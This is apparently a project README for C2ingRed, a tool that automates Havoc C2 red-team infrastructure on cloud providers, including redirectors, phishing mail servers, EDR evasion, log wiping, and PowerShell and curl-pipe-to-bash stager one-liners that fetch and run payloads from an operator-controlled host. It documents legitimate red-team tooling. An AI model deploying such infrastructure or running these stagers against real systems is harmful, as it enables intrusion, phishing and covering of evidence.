C2ingRed
A comprehensive automated deployment system for Havoc C2 red team infrastructure.
Overview
C2ingRed enables rapid deployment of complete Command and Control (C2) infrastructure with advanced security hardening, EDR evasion capabilities, and operational security features. Built for professional red team operators, this tool uses Infrastructure as Code principles to efficiently set up Havoc C2 servers, redirectors, and additional components.
Features
- Multi-provider Support: AWS, Linode, and FlokiNET
- Infrastructure Components:
- C2 server with Havoc C2 Framework (dev branch)
- HTTPS redirectors with security hardening
- Email infrastructure with DKIM/DMARC for phishing
- Email tracking capabilities
- Automated payload generation and delivery
- Attack boxes (Kali Linux and custom Ubuntu)
- Quick Recon Box - Streamlined reconnaissance platform (5-8 min deployment)
- Security Features:
- Zero-logging configuration to minimize evidence
- Memory protection mechanisms
- Command history suppression
- Secure exfiltration tunnels
- Strong firewall configurations
- Fail2Ban and other defensive measures
- EDR Evasion:
- Sleep masking
- Stack spoofing
- AMSI/ETW patching
- Indirect syscalls
- Binary signature randomization
- Operational Capabilities:
- Automated post-exploitation payload building
- Reverse shell handler with automatic agent deployment
- Let's Encrypt SSL certificate automation
- Payload synchronization between C2 and redirectors
- Port randomization for OPSEC
Requirements
- Python 3.6+
- Ansible 2.9+
- Provider-specific credentials:
- AWS: Access and secret keys
- Linode: API token
- FlokiNET: Pre-provisioned servers
- SSH keypair for server access
- Registered domain (required for Let's Encrypt certificates)
Installation
# Clone the repository
git clone https://github.com/yourusername/C2ingRed.git
cd C2ingRed
# Install requirements
pip install -r requirements.txt
# Ensure Ansible is installed
ansible --version
Usage
Main Menu (Easiest Method)
Simply run:
python3 deploy.py
This launches the interactive main menu for deployment, providing the most user-friendly experience with guided options for all infrastructure types.
Interactive Mode
Alternatively, you can use:
./deploy.py --interactive
This guides you through the deployment process with step-by-step instructions.
Command-line Deployment
AWS Deployment:
./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET \
--domain your-domain.com --aws-region us-east-1
Linode Deployment:
./deploy.py --provider linode --linode-token YOUR_TOKEN \
--domain your-domain.com --linode-region us-east
FlokiNET Deployment (with pre-provisioned servers):
./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP \
--flokinet-c2-ip YOUR_C2_IP --domain your-domain.com
Deployment Options
| Option | Description |
|---|---|
--redirector-only |
Deploy only the redirector component |
--c2-only |
Deploy only the C2 server component |
--deploy-tracker |
Deploy email tracking server |
--integrated-tracker |
Setup tracker on C2 server instead of separate instance |
--disable-history |
Disable command history on servers |
--secure-memory |
Enable secure memory protection features |
--zero-logs |
Configure zero-logging throughout infrastructure |
--randomize-ports |
Use randomized ports for C2 communications |
--ssh-after-deploy |
Automatically SSH into the server after deployment |
Post-Deployment Steps
After successful deployment:
-
Configure DNS records for your domain:
your-domain.com→ C2 servermail.your-domain.com→ C2 servercdn.your-domain.com→ Redirector (or your custom subdomain)track.your-domain.com→ Tracker (if deployed)
-
Run post-install scripts on each server:
# On C2 server /root/Tools/post_install_c2.sh # On redirector /root/Tools/post_install_redirector.sh -
Generate Havoc C2 payloads:
# On C2 server /root/Tools/generate_havoc_payloads.sh
Using Havoc C2
Havoc C2 Framework is installed at /root/Tools/Havoc on the C2 server.
Connecting to the Teamserver
From your local machine:
# Install Havoc client (development branch)
git clone -b dev https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
mkdir build && cd build
cmake -GNinja ..
ninja
# Connect to Teamserver
./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]
The password is stored in /root/Tools/Havoc/data/profiles/default.yaotl on the C2 server.
Payload Delivery
PowerShell one-liner for Windows targets:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://cdn.your-domain.com/windows_stager.ps1')"
Linux one-liner:
curl -s https://cdn.your-domain.com/linux_stager.sh | bash
Security Considerations
- All servers include the
/root/Tools/secure-exit.shscript to securely wipe operational data - The
/root/Tools/clean-logs.shscript automatically runs to remove evidence - Port randomization enhances OPSEC when enabled
- Set proper DKIM/DMARC records for email operations
- Consider using ephemeral infrastructure for high-risk operations
Cleaning Up
To remove all infrastructure when finished:
./deploy.py --provider PROVIDER --teardown --deployment-id YOUR_DEPLOYMENT_ID
Add your provider-specific authentication arguments to remove the correct resources.
